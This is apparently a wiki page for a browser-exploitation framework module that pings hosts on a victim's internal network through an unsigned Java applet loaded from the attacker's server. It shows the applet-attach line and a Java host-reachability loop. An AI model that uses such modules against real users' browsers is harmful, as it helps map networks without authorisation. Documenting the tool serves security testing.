Skip to content

Module: Ping Sweep (Java)

Haoxi Tan edited this page Jan 7, 2020 · 3 revisions

Summary

  • Objective: Perform a ping sweep of the network via Java

  • Authors: antisnatchor

  • Browsers: Safari, Opera, IE

  • Code

Internal Working

Uses an unsigned Java applet to ping hosts in the network.

  • the user will be prompted for permissions to run an unsigned java applet
  • unsigned appletes don't run at all for later Java and Browser versions

snippet from command.js

beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);

java snippet

private static String checkHosts(List<InetAddress> inetAddresses) throws IOException {
    String alive = "";
    for (InetAddress inetAddress : inetAddresses) {
        if (inetAddress.isReachable(timeout)) {
            alive += inetAddress.toString() + "\n";
        }
    }
    return alive;
}

Screenshots

Feedback

Clone this wiki locally